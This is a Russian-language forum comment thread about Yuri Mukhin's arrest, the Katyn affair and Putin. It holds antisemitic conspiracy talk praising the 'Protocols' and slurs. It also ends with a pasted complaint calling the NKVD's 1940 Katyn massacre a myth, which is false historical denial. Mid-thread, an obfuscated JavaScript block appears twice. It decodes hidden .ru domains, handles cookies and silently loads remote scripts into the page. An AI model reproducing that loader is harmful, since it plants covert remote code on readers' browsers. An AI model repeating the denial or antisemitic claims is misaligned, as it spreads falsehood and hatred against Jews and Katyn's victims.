И СТРАСБУРГ ОТСТУПИЛ

Опубликовано:
Источник: оригинал
Комментариев: 185
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
Одессит
Аватар пользователя Одессит

Чахлик невмирущий

Мы тут не девицы. Слушаем, что надо, а эпитеты оставим на их совести.
 

 
Грифин
(не проверено)
Аватар пользователя Грифин

катынским делом товарищ Мухин

катынским делом товарищ Мухин Ю.И. уже себя обессмертил. попал в самую точку. пошёл против "политики партии". мужик он и есть мужик. спасибо, Игнатьич, наше дело переживёт всяких пидарасиков. 

 
Геннадий
Аватар пользователя Геннадий

катынским делом товарищ Мухин

катынским делом товарищ Мухин Ю.И. уже себя обессмертил. попал в самую точку. пошёл против "политики партии". мужик он и есть мужик. спасибо, Игнатьич

Катынское дело - мелочь в сравнение с той же идеей суда народа и делократией. Просто для политизированного патриотического обывателя оно привычней и понятней.  До идеи ответственной власти наши не шибко богатые умом патриеты пока не дошли. Задержка, так сказать, умственного развития. Лет через цать глядишь дозреют.

 
Гость
(не проверено)
Аватар пользователя Гость

Катынское дело - мелочь в сравнение с той же идеей суда народа.

 Под угрозой немедленного бана, все же позволь мне с тобой, тезка, не согласиться.
Во-первых, поддержу вышеразположившегося оратора. Даже если бы у Игнатьевича не было других заслуг перед "патриотической Россией", за катынское дело просто Россия обязана наградить его золотой медалью размером в тарелку. Когда минут эти позорные времена - заслуги Мухина в отстаивании чести (и денег) России в катынском деле будет по-настоящему признаны и оценены.
Во-вторых, патриоты, Гена, в своем большинстве рассматривают модель западной демократии продвигаемой США по всему миру, как метод диктатуры денежных мешков. С их точки зренияй, усовершенствовать эту т.н. демократию мухинским методом ОВ, значит как бы напялить на корову седло. Смешно и бесполезно. Русской общине или народной монархии - ЗОВ не нужно. Власть  будет ответственна по своей сути. 

 
Геннадий
Аватар пользователя Геннадий

Гене от Гены

 Под угрозой немедленного бана, все же позволь мне с тобой, тезка, не согласиться.

Вот зачем ты из меня делаешь какое-то пугало  или держиморду?
Во-первых, поддержу вышеразположившегося оратора. Даже если бы у Игнатьевича не было других заслуг перед "патриотической Россией", за катынское дело просто Россия обязана наградить его золотой медалью размером в тарелку. Когда минут эти позорные времена - заслуги Мухина в отстаивании чести (и денег) России в катынском деле будет по-настоящему признаны и оценены.

Разве я сказал, что разоблачение катынской фальшивки Мухиным - мелочь? Безусловно, я согласен с тобой, что любого из нас. соверши кто подобное, оно бы прославило и даже обессмертило его имя, что само по себе оно есть огромное достижение ЮИ.

Только я, Гена, говорю, что в сравнении с остальным,  сделанным Мухиным, с его другими идеями катынское дело - относительная мелочь, что множество его идей гораздо масштабнее катынской эпопеи, и патриотам России давно пора не только обратить на них внимание, но и активно начать продвигать их в жизнь.
Во-вторых, патриоты, Гена, в своем большинстве рассматривают модель западной демократии продвигаемой США по всему миру, как метод диктатуры денежных мешков. С их точки зренияй, усовершенствовать эту т.н. демократию мухинским методом ОВ, значит как бы напялить на корову седло. Смешно и бесполезно. Русской общине или народной монархии - ЗОВ не нужно. Власть  будет ответственна по своей сути.

Вот, Гена, ты и есть пример нашего родного русского патриота с весьма неторопливым умственным развитием! Катынь ты оценил, а вот до ОВ еще не дошел. Ты тут пропандируешь непонятно какую монархию. А ты разве не читал предлагаемое Мухиным будущее государственное устройство России, состоящей из народных общин, во главе которой стоят Собор, Император, деятельность которых основывается именно на идее Ответственности Власти, краеугольным камнем которой является Суд народа над властью?

 
Гость
(не проверено)
Аватар пользователя Гость

Воще-то Ильина я осилил еще в

Воще-то Ильина я осилил еще в туманной юности. Больше за него не брался. О, вот "Протоколы" читаю и перечитываю постоянно до сих пор. Идея суда народа над властью - Да, конечно. Но, в нынешней ситуации, когда стараниями ничтожных кнопкодавов в "думе", проведение референдума инициативой снизу практически невозможно, его пропаганда вашей организацией сеет раздрай среди своих и, скорее, на руку врагу оккупировавшего Кремль. Мало того, в преддверии БП в экономике раши, врагу потребуется открытая террористическая диктатура "иудейского царя", освященная сам-сабой, одобрением "суверена", желательно на референдуме. Не удивлюсь, если идея Мухина будет тут востребована "сверху". Назначь жидократия референдум сейчас, кто бы сомневался, что "солнцеликий" получит от "народа" индульгенцию на любые действия, а ничтожества из "думы" будут парить свои зады не в мягких креслах, а на нарах. Без замены, так как выборы следующего состава "думы" будет анонсированы, само-собой, но после дождичка в четверг, когда рак на горе свистнет. Такое развитие событий по "Протоколам" очевидно. И я бы посоветовал отнестись к этому документу со всей серьезностью, так как рождены они были в Хобаде, чья черношляпная тень мрачно нависает над путиным.

ЗЫ. Только не надо, Гена, утверждать, что парней закрыли, из-за намерения провести референдум ЗОВ. (Такое утверждение - не более чем хороший пропагандисткий ход с вашей стороны.) Главная цель - заткнуть Мухина, который, невзирая на последние предупреждения, не пожелал встать в ряд безобидных для режима бздящих болтунов, типа Стариков и Ко.  

 
Геннадий
Аватар пользователя Геннадий

Тезке

Воще-то Ильина я осилил еще в туманной юности. Больше за него не брался.

При чем здесь Ильин? Я про идеи Мухина в отношении устройства будущего российского государства.

Но, в нынешней ситуации, когда стараниями ничтожных кнопкодавов в "думе", проведение референдума инициативой снизу практически невозможно, его пропаганда вашей организацией сеет раздрай среди своих и, скорее, на руку врагу оккупировавшего Кремль.

Этим "своим" давно пора понять, что сами они никогда во власть не попадут (да и собственно им там, без обратной связи в виде ОВ,  делать нечего, ибо  лучше едросовцев-кнопкодавов они ничем не будут). А ежели они всамделе хотят добра России, то толкать  наверх им надо не свои задницы в депутатские кресла, в которые они, повторюсь, в любом случае не попадут, а двигать наверх, в народ, надо идею ответственности власти и на этой идее объединяться.

Не удивлюсь, если идея Мухина будет тут востребована "сверху".

Да я тоже не удивлюсь. Это скорее дойдет до Кремля, чем до тугодумных крепкозадых патриетов.

ЗЫ. Только не надо, Гена, утверждать, что парней закрыли, из-за намерения провести референдум ЗОВ. (Такое утверждение - не более чем хороший пропагандисткий ход с вашей стороны.) Главная цель - заткнуть Мухина, который, невзирая на последние предупреждения, не пожелал встать в ряд безобидных для режима бздящих болтунов, типа Стариков и Ко. 

А тут, Гена, никакого противоречия - одно другому не мешает.
 

 
Колчин
(не проверено)
Аватар пользователя Колчин

Размышления возможно не на тему

Да, чмырить пытаются как только могут русский народ и весь ответ, хотя чего собственно удивляться, сильные дружат только с сильными, а слабых терпят пока не начинают возбухать. Да и Путин сам уже наверно не верит, что можно что то изменить, хотя судя по его телодвижениям за предыдущие годы у него и не было такого желания. А сейчас сидит как та бабка у разбитого корыта и молиться, чтоб корыто не отобрали. Одна надежда, что сидят где то в секретных кабинетах еще старые чикисты и держат руку на пульсе, и всё идет своим чередом по тихому, в правильном направлении - к гегемонии России. А больше то и надеяться не на что уже. А так одно бляд.тво и профанация.

 
Грифин
(не проверено)
Аватар пользователя Грифин

вот я всегда удивлялся почему

вот я всегда удивлялся почему борцы и боксёры не уходят "на пенсию" С ЧЕМПИОНСКОГО олимпа. обязательно надо провести "последний" бой и жидко его просрать. потом понял.  с тех пор спортом не интересуюсь. вот и путлер обычная шлюшка. утешает только то , что на фоне европейских дегенератов он ещё хоть как-то смотрится. 

 
Колчин
(не проверено)
Аватар пользователя Колчин

Грифин

Вовремя уйти это дар.

 
Грифин
(не проверено)
Аватар пользователя Грифин

точно! теперь надо признать,

точно! теперь надо признать, что царь то у нас БЕЗДАРЬ. сейчас он дрочит на 87 %?, А ведь уйти то придётся с позором. во как , и ведь не стыдно. а тем кто его избирал стыдно детям в глаза глядеть? то то бл..ищи потом свищи виноватых.

 
Скорняк
Аватар пользователя Скорняк

А ведь уйти то придётся с позором.

 Так ушли их давно, одного в клинике Германии в 96-ом, другого в 2004-ом в кремлёвской канализации.

 

Зуб на Зуб , не Попа даёт.

Гость
(не проверено)
Аватар пользователя Гость

 Уйти то их ушли, но ведь

 Уйти то их ушли, но ведь остался сам фетишь и фетишисты, колчины, чахлики. Аспирина тут упоминали, тоже страшный путинец.

Ну хорошо, а кто же всё таки рашкой правит? Песков? Он вроде только прессекретарь. Ну, не дима же.

 
Колчин
(не проверено)
Аватар пользователя Колчин

Гость

Кто правит? А хз. Может госдеп, может клан рокфелеров, может инопланетяне. Сие народу неизвестно, но то, что не народная власть точно.

 
f16a
(не проверено)
Аватар пользователя f16a

 Грифину.  Созрели, однако.

 Грифину.  Созрели, однако.  Насчет царя.  Типичное явление в иерархическом обществе.  Изучавшие тему даже законы вывели, например Принцип Питера.  ЕМНИП звучит так: в любой иерархической системе по мере карьерного роста, работник неизбежно выходит за пределы своей компетенции.  И следствия из него.  1. Начальство всегда некомпетентно. 2. Самые высокие посты занимают самые некомпетентные люди.  И т.д. и т.п.

 
Колчин
(не проверено)
Аватар пользователя Колчин

Грифин

Некоторые рождаются не имея представления о стыде.

 
Гость(другой)
(не проверено)
Аватар пользователя Гость(другой)

Царь у нас не бездарь. Хотя

Царь у нас не бездарь. Хотя бы потому, что вопреки очевидным его делам, на него дрочат 87% россиян. Если это Вас утешит, нашего царя водят силы, которые 2500 лет оттчивали свои навыки манипулирования толпой. Сейчас, когда у них под контролем все средства массового оболванивания, они не властны разве только над слепоглухими инвалидами. И то, - с оговорками
 

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю другому.  Рост цен,

 Гостю другому.  Рост цен, налогов, урезание соцобеспечения одни из самых очевидных его дел.  Список неполный.  На них тоже др-ть прикажете?

 
Гость
(не проверено)
Аватар пользователя Гость

Но, тем не менее, "рейтинг"

Но, тем не менее, "рейтинг" царя среди плебса зашкаливает до 80 процентов. Парадокс? Нет - правильное обеспечение его "светлого" имиджа кукловодами. Ну, там амфоры, батискаф, дельтаплан со стерхами и тиграми и т.д и т.п. Какая-то, прямо скажем, несурьезная суета, - но народу ндравится, однако. За негатив будут отдуваться члены госдурки. Если не стараниями ИГПР ЗОВ, то трудами еще каких-нибудь застрельщиков. Но сидеть кнопкодавы будут непременно - такова логика развития событий в раше...  

 
f16a
(не проверено)
Аватар пользователя f16a

В чем парадокс-то? Слабаки и

В чем парадокс-то? Слабаки и трусы ничего кроме грубой силы не признают по убогости своей, бедные рады любой подачке, дурачки любят зрелища.   Вот и набираются требуемые %.  Ничего нового.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19362",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19362",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

 
Гость(другой)
(не проверено)
Аватар пользователя Гость(другой)

Царь у нас не бездарь. Хотя

Царь у нас не бездарь. Хотя бы потому, что вопреки очевидным его делам, на него дрочат 87% россиян. Если это Вас утешит, нашего царя водят силы, которые 2500 лет оттчивали свои навыки манипулирования толпой. Сейчас, когда у них под контролем все средства массового оболванивания, они не властны разве только над слепоглухими инвалидами. И то, - с оговорками
 

 
Грифин
(не проверено)
Аватар пользователя Грифин

спсб, Одесса, я что-то

спсб, Одесса, я что-то пропустил этот опрос. 

 
Корд
(не проверено)
Аватар пользователя Корд

Член Совета федерации (СФ)

Член Совета федерации (СФ) Константин Добрынин подготовил законопроект «О противодействии реабилитации преступлений сталинского тоталитарного режима (сталинизма)». 

И узнал я об этом от Д.Пучкова. Не от Мухина. Имеет ли смысл здесь об этом говорить? Да навряд. Скорее Гоблин добьется результата в противодействии этому противодействию. Поскольку сверхпопулярен и патриотичен.

Колчин. В чем дело? Ты же говорил о генетическом рабстве русских. Вообще все равно что писать?

 
Геннадий
Аватар пользователя Геннадий

Уроду

И узнал я об этом от Д.Пучкова. Не от Мухина.

Но, Урод, Мухин находится под арестом в заключении. А на Добрынина товарищи подали заявление о привлечение к уголовной ответственности еще весной. Но ментовские и бастрыкинские уроды изо всех сил эту инициативу динамят. Тебе ж говорят - в рашке враги России безнаказанны. Читать не умеешь?

 
Корд
(не проверено)
Аватар пользователя Корд

Мухин загнал в заключение

Мухин загнал в заключение себя сам. Причем загнал, не сделав ничего полезного. И еще двоих прихватил.

Какие товарищи подали в суд на Добрынина? Где об этом хоть прочитать можно? Не в гостьеховский мифический? Что ему ставят в вину? Что ответили? Или просто посмеялись?

Вот Гоблину враги как то не совсем безнаказанны, он бы не огласил и я бы и не знал. Делягину не совсем безнаказанны. Да много кому еще. Я создам тему на ННМ и подкину новостникам на РТО, напишу Саше Богатыреву и почти наверняка появится материал на РП. В результате деятелю может хоть просто морду набьют или машину спалят. Вот такие мы, уроды, вредные. Мы все участвуем в информационной войне, так я тоже хочу сделать свой выстрел. А не орать в очень узком кругу о кремлевской клике. Здесь же 10 пользователей бывает, а на РТО 14 млн.

 
Гость
(не проверено)
Аватар пользователя Гость

 "Мухин загнал в заключение

 "Мухин загнал в заключение себя сам"

Верно. Мухин сам, сознательно встал против фашизма, против рашкиноидной погани заполонившей планету своей путиноидной грязью.

И Парфёнов, и Соколов, сознательно, с полным осознанием опасности и всех возможных последствий встали на пути заполонившего мир фашизма. И сейчас фашисты их пытают, глумятся.

И больше всех глумится корд.

 
гость
(не проверено)
Аватар пользователя гость

 Еще мои деды с отцом Ю.И.

 Еще мои деды с отцом Ю.И. Мухина забили нах.. всех фашистов в Берлине в 1945г.

В России сейчас остались только антифашисты 

в до сих пор неотстиранных подштаниках, вроде Вас.

И раз такие, как Вы защищают Парфенова и Соколова

- значит те сидят совершенно правильно.

А на Вас есть постановление последнего чрезвычайного Съезда Советов СССР

которое ставит таких, как Вы "вне закона".

Так что то, что их "пытают" - естественно, а "глумишься" здесь Ты.

Но и тебе, надеюсь, недолго осталось.

 
Геннадий
Аватар пользователя Геннадий

Мухин загнал в заключение

Мухин загнал в заключение себя сам. Причем загнал, не сделав ничего полезного. И еще двоих прихватил.

Нет, фашист, это ваша преступная шайка, пользуясь служебным положением, посадила в заключение заведомо невиновных людей.

Какие товарищи подали в суд на Добрынина? Где об этом хоть прочитать можно? Не в гостьеховский мифический? Что ему ставят в вину? Что ответили? Или просто посмеялись?

Не тупи, сексот, все ты прекрасно знаешь, это твои подельники из преступной группировки в правоохранительных структурах отмазывают фашистов вроде добрынина и всеми способами не дают ходу этому и другим подобным делам. Не исключено, что Мухина с товарищами фашисты отправили в заключение, чтобы помешать им подобным образом бороться с реабилитаторами преступлений гитлеризма.

 
Геннадий
Аватар пользователя Геннадий

P.S. Уроду

Вот Гоблину враги как то не совсем безнаказанны, он бы не огласил и я бы и не знал. Делягину не совсем безнаказанны. Да много кому еще. Я создам тему на ННМ и подкину новостникам на РТО, напишу Саше Богатыреву и почти наверняка появится материал на РП. В результате деятелю может хоть просто морду набьют или машину спалят. Вот такие мы, уроды, вредные. Мы все участвуем в информационной войне, так я тоже хочу сделать свой выстрел. А не орать в очень узком кругу о кремлевской клике. Здесь же 10 пользователей бывает, а на РТО 14 млн.

Если не пистапол, то вот тебе - действуй. Даю полный текст заявления в СК на Добрынина:

Председателю Следственного Комитета
Российской Федерации
генерал-полковнику юстиции
Бастрыкину Александру Ивановичу
от гражданина
Джугашвили Евгения Яковлевича

                                                 Заявление о преступлении,
                   предусмотренном статьей 354.1 «Реабилитация нацизма»
                                  Уголовного кодекса Российской Федерации

     2 апреля 2015 г. на общедоступном сайте ежедневной петербургской интернет-газеты «Фонтанка.Ру» в информационно-телекоммуникационной сети «Интернет» (учредитель – ЗАО «АЖУР-МЕДИА»; свидетельство о регистрации СМИ Эл № ФС 77-52806 выдано федеральной службой по надзору в сфере связи, информационных технологий и массовых коммуникаций 08 февраля 2013 года; адрес редакции: 191011, Санкт-Петербург, ул. Зодчего Росси д. 1/3, лит. А, пом. 26Н ) был опубликован редакционный материал под заголовком «Сенатор Добрынин предлагает привлечь внука Сталина за ложный донос в отношении профессора Фельдмана» (приложение № 1).
     Данный редакционный материал является изложением интервью с Константином Добрыниным, членом Совета Федерации Федерального Собрания Российской Федерации, представителем от исполнительного органа государственной власти Архангельской области, заместителем председателя Комитета Совета Федерации по конституционному законодательству и государственному строительству.
В тот же день в общедоступном персональном блоге Константина Добрынина на блог-платформе «Живой Журнал» в информационно- телекоммуникационной сети «Интернет» был опубликован анонимный текст под названием «Внук Сталина и его ложный донос», иллюстрированный фотографией Константина Добрынина (приложение № 2).
     Данный анонимный текст является изложением официальной правовой позиции члена Совета Федерации ФС РФ Константина Добрынина по Катынскому делу.
В редакционном материале «Сенатор Добрынин предлагает привлечь внука Сталина за ложный донос в отношении профессора Фельдмана» и в анонимном тексте «Внук Сталина и его ложный донос» содержатся следующие утверждения гражданина Добрынина К. Э. о фактах Катынского дела:

     «...Расстрел в Катыни не был упомянут в приговоре Международного военного трибунала от 1 октября 1946 года, а значит, утверждения заявителя относительно ложных сведений якобы распространяемых профессором Фельдманом относительно деятельности СССР в годы Второй Мировой войны “связанные с работой Международного военного трибунала в Нюрнберге, не соответствуют действительности”».
      «…Замглавы конституционного комитета СФ приводит ряд документов, подтверждающих вину руководства СССР в событиях, произошедших в Катыни в 1940 году. В частности, речь идет о выписке из протокола №13 заседания Политбюро ЦК от 5 марта 1940 года, где говорится о принятии “решения о расстреле военнопленных:
бывших польских офицеров, чиновников, помещиков, полицейских, разведчиков, жандармов, осадников и тюремщиков”, а также соответствующем письме тов. И.В. Сталину. “Таким образом, события, произошедшие в Катыни в 1940 году (расстрел польских граждан) являются историческим, установленным фактом”».
     «…Добрынин указал, что эти факты были признаны властями. Так, еще 13 апреля 1990 года Советский Союз признал вину и объявил об ответственности Берии, Меркулова и их подчиненных за преступления в Катынском лесу. В дальнейшем эта позиция была подтверждена и в заявлениях российских официальных лиц, добавил сенатор».
     «…Что касается установленных фактов Нюрнбергского процесса:
- 14 февраля 1946 года советской стороной Международному военному трибуналу было представлено заключение “Специальной комиссии по установлению и расследованию обстоятельств расстрела немецко-фашистскими захватчиками в Катынском лесу (близ Смоленска) военнопленных польских офицеров” (известна также как “Комиссия Бурденко”). Процессуальных решений по данному вопросу в официальных документах Международного военного трибунала не содержится. В приговоре Международного военного трибунала от 1 октября 1946 года расстрел польских военнопленных не упомянут ни в основной части, ни в разделах, касающихся персонально Геринга и
Йодля».
     «…В событиях, произошедших в Катыни в 1940 году, установлена вина руководства СССР, что подтверждается следующими обстоятельствами:
так, на заседании Политбюро ЦК от 05.03.1940 года принято решение о расстреле военнопленных: бывших польских офицеров, чиновников, помещиков, полицейских, разведчиков, жандармов, осадников и тюремщиков. Основанием для принятия такого решения послужила записка наркома внутренних дел СССР Берия Л.П. в ЦК ВКП о
необходимости расстрела данной категории граждан, так как они являются закоренелыми и неисправимыми врагами советской власти.
Данное решение было реализовано в апреле 1940 года. Указанные обстоятельства подтверждены рассекреченными документами:
1) Выпиской из протокола №13 заседания Политбюро ЦК от 05.03.1940г.
2) Письмом тов. И.В. Сталину.
Таким образом события, произошедшие в Катыни в 1940 году (расстрел польских граждан), являются историческим, установленным фактом».
«13 апреля 1990 года Советский Союз признал вину и объявил об ответственности Берии, Меркулова и их подручных за злодеяния в Катынском лесу».
«22 марта 1990 года были возбуждены уголовные дела по факту обнаружения в лесопарковой зоне г. Харькова захоронений останков польских граждан. 21 сентября 2004 года Главной военной прокуратурой прекращено уголовное дело в связи со смертью виновных лиц. Следствием достоверно установлена гибель польских военнопленных в результате исполнения решения “тройки”. В ходе расследования уголовного дела, действия ряда высокопоставленных должностных лиц СССР квалифицированы как превышение власти, имевшие тяжелые последствия при наличии особо отягчающих
обстоятельств (Письмо Генеральной Прокуратуры РФ от 24.03.2005г.)».
«… 13 апреля 1990 - Заявление ТАСС, в котором говорится: “Выявленные архивные материалы в своей совокупности позволяют сделать вывод о непосредственной ответственности за злодеяния в катынском лесу Берии, Меркулова и их подручных. Советская сторона, выражая глубокое сожаление в связи с катынской трагедией, заявляет, что она представляет одно из тяжких преступлений сталинизма”».
 «…2 августа 1993 года было опубликовано Заключение комиссии экспертов ГВП, которое устанавливает: “Материалы следственного дела содержат убедительные доказательства наличия события преступления — массового убийства органами НКВД весной 1940 года содержавшихся в Козельском, Старобельском и Осташковском лагерях
НКВД 14.522 польских военнопленных”».
     «11 марта 2005 года главный военный прокурор и наш бывший коллега экс-сенатор А.Н. Савенков в ходе пресс-конференции по итогам расследования заявил, что виновными признаны “ряд конкретных высокопоставленных должностных лиц СССР”».
     «7 апреля 2010 года – совместная пресс-конференция Владимира Путина и Дональда Туска. Владимир Путин: виновники расстрела – “руководители тогдашних служб безопасности, НКВД, Берия...”».
«6 декабря 2010 года – беседа Дмитрия Медведева с польскими журналистами: “За это преступление отвечает Сталин и его приспешники. И у меня есть соответствующие документы, которые были получены из так называемой «особой папки». Эти документы сейчас присутствуют и в интернете, они общедоступны со всеми резолюциями. Попытки поставить эти документы под сомнение, говорить о том, что их кто-то сфальсифицировал, это просто несерьёзно. Это делается теми, кто пытается обелить природу режима, который создал Сталин в определённый период в нашей стране. Что же касается формальной позиции, российская сторона никогда не заявляла другую формальную позицию”».

Вышеприведенные утверждения гражданина Добрынина К. Э. о фактах и обстоятельствах Катынского дела отрицают факты, установленные приговором Международного военного трибунала для суда и наказания главных военных преступников европейских стран оси, в части фактических обстоятельств расстрела военнослужащими нацистской Германии военнопленных польских офицеров в Катынском лесу в сентябре 1941 года, и содержат заведомо ложные сведения о деятельности СССР в годы Второй мировой войны.

Кроме того, вышеприведенные утверждения гражданина Добрынина К.Э. о фактах и обстоятельствах Катынского дела в своей совокупности представляют из себя искусственно созданную систему неких, якобы существующих в действительности, «правовых доказательств», призванную формировать у читателей устойчивое мнение о наличии правовой обоснованности сведений о Катынском деле, публично распространяемых членом Совета Федерации Добрыниным К. Э.
Данная совокупность утверждений гражданина Добрыниным К. Э. о фактах и обстоятельствах Катынского дела содержит ложные сведения о приговоре и процессуальных решениях Международного военного трибунала, а также клеветнические измышления о деятельности руководителей СССР в годы Второй мировой войны.
Ложные сведения и клеветнические измышления в искусственно созданной гражданином Добрыниным системе «правовых доказательств» тенденциозно подобраны, умело препарированы и искусно сведены в единую систему тематически связанных между собой полемических аргументов с явно выраженным обвинительным уклоном.

Тенденциозность, препарированность и тематическая связанность совокупности утверждений о фактах и обстоятельствах Катынского дела, искусственно созданной гражданином Добрыниным К. Э. посредством интернет-газеты «Фонтанка.Ру» и своего персонального блога на блог-платформе «Живой Журнал», являются доказательством того, что гражданин Добрынин К. Э. заранее имел осознанные преступные намерения,
направленные на реабилитацию нацизма и воплощенные им на практике 2 апреля 2015 г. с помощью общедоступной информационно-телекоммуникационной сети «Интернет».
Факт коллективной ответственности главных военных преступников европейских стран оси за расстрел военнопленных польских офицеров в Катынском лесу был юридически установлен процессуальным решением Международного военного трибунала от 14 февраля 1946 г. о принятии от стороны обвинения в качестве доказательства так называемого «Документа СССР-54». Данный документ представлял из себя краткий вариант «Сообщения…» комиссии академика Бурденко, надлежащим образом оформленный и заверенный, с приложением необходимого количества экземпляров на немецком языке (30 шт.) для вручения подсудимым. В соответствии со статьей 21 Устава Международного военного трибунала и правилом 3 его Регламента, с момента принятия Трибуналом «Документа СССР-54», коллективная ответственность главных военных преступников европейских стран оси за Катынское преступление считалась юридически установленной и порождающей правовые последствия (приложения №3, №4).
Факт персональной виновности в данном преступлении конкретных подсудимых из числа высших руководителей нацистской Германии (Германа Геринга и Альфреда Йодля) был установлен приговором Международного военного трибунала от 1 октября 1946 г.

Катынское преступление было тщательно, объективно и беспристрастно рассмотрено Международным военным трибуналом на судебных заседаниях 1 и 2 июля 1946 г. В ходе этих судебных заседаний Трибуналом были заслушаны свидетели от каждой стороны и всесторонне исследован «Документ СССР-54». Кроме того, Трибуналом были всесторонне исследованы дополнительные доказательные документы по этому
преступлению, представленные не только стороной защиты, но и стороной обвинения (Документ 402-PС, Документы СССР-497, 498, 499, 500, 501, 502, 505, 505а, 507). Важно отметить, что дополнительные доказательства виновности нацистской Германии в Катынском расстреле представлялись в Трибунал не только советским обвинением, но и обвинением США («Документ 402-РС»). Адвокаты подсудимых, не удовлетворенные
показаниями троих своих свидетелей защиты, просили Трибунал вызвать для допроса ещё нескольких свидетелей защиты, но Трибунал счёл Катынский эпизод достаточно изученным и отказал в продолжении его слушания.
По результатам рассмотрения Катынского преступления на судебных заседаниях 1 и 2 июля 1946 г. ни один из представленных обвинением по Катынскому эпизоду доказательных документов из числа доказательств исключен не был, обвинение по Катынскому эпизоду с главных военных преступников европейских стран оси не снято, а сам Катынский расстрел остался в числе доказанных преступлений нацистской Германии.
Катынский эпизод на Нюрнбергском процессе стороной обвинения персонально инкриминировался лишь двоим подсудимым – Герману Герингу и Альфреду Йодлю (приложения №№ 5, 6, 7, 8).
Последняя фраза из приговора Международного военного трибунала по обвинениям в отношении Германа Геринга: «По делу не установлено никаких обстоятельств, которые могли бы оправдать этого человека». Никаких смягчающих его вину обстоятельств не установлено и по Катынскому эпизоду преступлений Геринга (приложение № 9).
Приговор Альфреду Йодлю содержит аналогичную формулировку: «…Смягчающих вину обстоятельств нет» (приложение № 10).
Таким образом, гражданин Добрынин К. Э., реализуя свой преступный замысел, направленный на реабилитацию нацизма, пытается тем самым реабилитировать в Катынском преступлении военных преступников Геринга и Йодля.
Помимо отрицания фактов, установленных приговором Международного военного трибунала для суда и наказания главных военных преступников европейских стран оси, гражданин Добрынин К. Э., во исполнение собственных преступных намерений, направленных на реабилитацию нацизма, в своём интервью интернет-газете «Фонтанка.Ру» и в своём персональном блоге в «Живом Журнале» 2 апреля 2015 г. Публично распространил заведомо ложные сведения о деятельности СССР в годы
Второй мировой войны, а именно: заведомо ложные сведения о мифическом
расстреле военнопленных польских офицеров, якобы совершённом военнослужащими НКВД СССР в Катынском лесу в 1940 г.
